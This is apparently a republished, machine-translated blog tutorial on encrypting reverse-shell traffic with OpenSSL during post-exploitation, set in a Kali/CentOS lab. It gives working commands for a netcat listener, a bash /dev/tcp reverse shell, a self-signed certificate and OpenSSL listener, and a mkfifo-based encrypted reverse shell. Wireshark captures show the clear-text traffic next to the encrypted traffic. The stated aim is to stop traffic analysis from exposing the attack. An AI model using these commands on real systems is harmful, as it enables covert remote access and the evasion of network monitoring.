当前位置:网站首页>Using OpenSSL encryption to rebound shell traffic
Using OpenSSL encryption to rebound shell traffic
2022-07-01 18:34:00 【Cheng-ling】
brief introduction
In the post penetration stage, it is often necessary to rebound for further horizontal operation shell, But rebound shell There is a drawback to both methods , Traffic is transmitted in clear text . Traffic analysis will soon be found , If you trace the attack traffic , Detect features with attacks , You can reproduce the attack process .
Experimental environment
kali:192.168.95.128
centos:192.168.95.147
Wireshark Grab the bag
stay kali Upper use nc Listening on a port
nc -lvvp 4444

take centos Of shell Bounce past
bash -i >& /dev/tcp/192.168.95.128/4444 0>&1

Use wireshark Grab traffic packets , Bounce back shell Then execute some commands



Right click to track tcp Stream query to see details

Use wireshark You can directly see the input command and return information by capturing packets
OpenSSL Rebound encryption shell
OpenSSL Is an open source software library package , Applications can use this package for secure communication , Avoid eavesdropping , At the same time, confirm the identity of the connector at the other end .
Use on the server openssl Command generates a self signed certificate
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Certificate information can be entered or not
Use on the server openssl Command listens on a port
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
![]()
Use the command to execute the bounce on the client target host
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quite -connect 192.168.95.128:4444>/tmp/s;rm /tmp/s

Use wireshark Grab traffic packets , Received a rebound shell Then execute some commands

Check it again wireshark Captured traffic packets , It's encrypted


The server and client are using TLSv1.2 Protocol for encrypted communication .
Conclusion
I have eaten all the bitterness , If you haven't grown up , You'll lose .
边栏推荐
- Happy new year | 202112 monthly summary
- Is online stock account opening safe? Is it reliable?
- Talk about the favorite tools used by project managers
- D @ safety and dip1000
- . Net cloud native architect training camp (permission system code implements actionaccess) -- learning notes
- Three dimensional anti-terrorism Simulation Drill deduction training system software
- Xia CaoJun ffmpeg 4.3 audio and video foundation to engineering application
- Bug of QQ browser article comment: the commentator is wrong
- Flex layout
- [noip2015] jumping stone
猜你喜欢

LeetCode 148. Sort linked list

PTA year of birth

Check log4j problems using stain analysis

Yolov5 practice: teach object detection by hand

Bernoulli distribution (a discrete distribution)

Fresh, 2022 advanced Android interview must know 100 questions (interview questions + answer analysis)

Computer network interview assault

Samba basic usage

因子分析怎么计算权重?

Classpath classpath
随机推荐
主成分之综合竞争力案例分析
LeetCode 148. Sort linked list
Easycvr accesses the equipment through the national standard gb28181 protocol. What is the reason for the automatic streaming of the equipment?
Nielseniq found that 60% of the re launched products had poor returns
12. Design of power divider for ads usage record
EasyCVR设备录像出现无法播放现象的问题修复
[noip2015] jumping stone
Oracle TRUNC function processing date format
Static timing analysis (STA) in ic/fpga design
PIP version problems: PIP problems still occur when installing akshare and using Tsinghua source and Douban source
Operating system interview assault
Cassette helicopter and alternating electric field magnetic manometer DPC
Leetcode 1380. Lucky numbers in the matrix (save the minimum number of each row and the maximum number of each column)
About selenium element positioning being overwritten
The latest intelligent factory MES management system software solution
Fresh, 2022 advanced Android interview must know 100 questions (interview questions + answer analysis)
Slider verification code identification gadget display
Localization through custom services in the shuttle application
At present, where is the most formal and safe account opening for futures speculation? How to open a futures account?
[CF559E]Gerald and Path